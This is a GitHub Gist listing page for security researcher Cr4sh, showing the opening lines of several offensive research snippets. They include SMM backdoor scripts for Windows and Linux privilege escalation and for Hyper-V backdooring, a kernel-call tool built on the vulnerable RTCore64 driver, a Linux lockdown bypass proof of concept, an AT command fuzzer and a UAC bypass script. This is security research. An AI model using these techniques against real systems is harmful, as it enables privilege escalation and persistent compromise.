Skip to content

Instantly share code, notes, and snippets.

View Cr4sh's full-sized avatar
🌴

Dmytro Oleksiuk Cr4sh

🌴
2k followers · 32 following
View GitHub Profile
@Cr4sh
Cr4sh / adder.c
Last active October 4, 2023 20:52
LiteX demo module
#include <stdlib.h>
#include <stdbool.h>
#include <irq.h>
#include <libbase/uart.h>
#include <libbase/console.h>
#include <generated/csr.h>
#include "adder.h"
@Cr4sh
Cr4sh / smm_backdoor_hyper_v.py
Created June 16, 2021 19:37
Example program that uses SMM backdoor to deploy Hyper-V backdoor (see https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorHv)
#!/usr/bin/env python
import sys, os, time, platform, ctypes
from struct import pack, unpack
from optparse import OptionParser, make_option
import smm_backdoor as bd
# how many seconds to wait for VM exit occur
VM_EXIT_WAIT = 3
@Cr4sh
Cr4sh / smm_backdoor_privesc_win.py
Created June 16, 2021 19:34
Example program that uses SMM backdoor for local privileges escalation under the Windows
#!/usr/bin/env python
import sys, os, platform, ctypes, ctypes.wintypes
from struct import pack, unpack
import smm_backdoor as bd
# MSR register used by swapgs
IA32_KERNEL_GS_BASE = 0xc0000102
@Cr4sh
Cr4sh / smm_backdoor_privesc_linux.py
Last active May 22, 2024 02:17
Example program that uses SMM backdoor for local privileges escalation under the Linux
#!/usr/bin/env python
import sys, os, platform, ctypes
from struct import pack, unpack
import smm_backdoor as bd
try:
import capstone
@Cr4sh
Cr4sh / kforge.cpp
Created May 15, 2021 03:22
Performing arbitrary kernel function calls on HVCI enabled systems with thread context hijacking
#include "stdafx.h"
// vulnerable driver device name
#define EXPL_DEVICE_PATH "\\\\.\\Global\\RTCore64"
// vulnerable driver service and file name
#define EXPL_DRIVER_NAME "RTCore64.sys"
#define EXPL_SERVICE_NAME "RTCore64"
// vulnerable driver IOCTL codes
@Cr4sh
Cr4sh / output.txt
Last active April 18, 2021 15:46
List of UEFI protocols, interfaces and loaded DXE drivers obtained with DMA attack tools
$ ./uefi.py
[+] Scanning memory range 0x76000000:0xa0000000
[+] Waiting for PCI-E link...
[+] PCI-E link with target is up
[+] Looking for DXE driver PE image...
[+] PE image is at 0x77866000
[+] PE image is at 0x77871000
[+] PROTOCOL_ENTRY address is 0x76bfaa98
[+] Registered UEFI protocols and interfaces:
@Cr4sh
Cr4sh / expl_msr_ko.py
Created July 1, 2020 23:32
msr.ko Linux kernel lockdown bypass PoC
import sys, os, mmap, subprocess
from struct import pack, unpack
from ctypes import *
IA32_SYSENTER_ESP = 0x175
IA32_SYSENTER_EIP = 0x176
class PyObj(Structure):
_fields_ = [( 'ob_refcnt', c_size_t ),
@Cr4sh
Cr4sh / at_commands_grammar.json
Last active June 12, 2020 06:58
AT commands fuzzer grammar file
{
"AT_CMD_GRAMMARS": {
"+CGSN": {
"struct": ["cmd"],
"cmd": "+CGSN"
},
"+CIND": {
"struct": ["cmd"],
@Cr4sh
Cr4sh / at_fuzzer.py
Last active June 12, 2020 06:59
AT commands fuzzer based on ATFuzzer code base
#!/usr/bin/env python2
'''
********************************************************************************
AT commands fuzzer based on ATFuzzer code base.
* https://github.com/Imtiazkarimik23/ATFuzzer
* https://relentless-warrior.github.io/wp-content/uploads/2019/11/atfuzz.pdf
@Cr4sh
Cr4sh / UAC-TokenMagic.ps1
Created August 14, 2019 23:41
UAC Token Magic
function UAC-TokenMagic {
<#
.SYNOPSIS
Based on James Forshaw's three part post on UAC, linked below, and possibly a technique
used by the CIA!
Essentially we duplicate the token of an elevated process, lower it's mandatory
integrity level, use it to create a new restricted token, impersonate it and
use the Secondary Logon service to spawn a new process with High IL. Like
playing hide-and-go-seek with tokens! ;))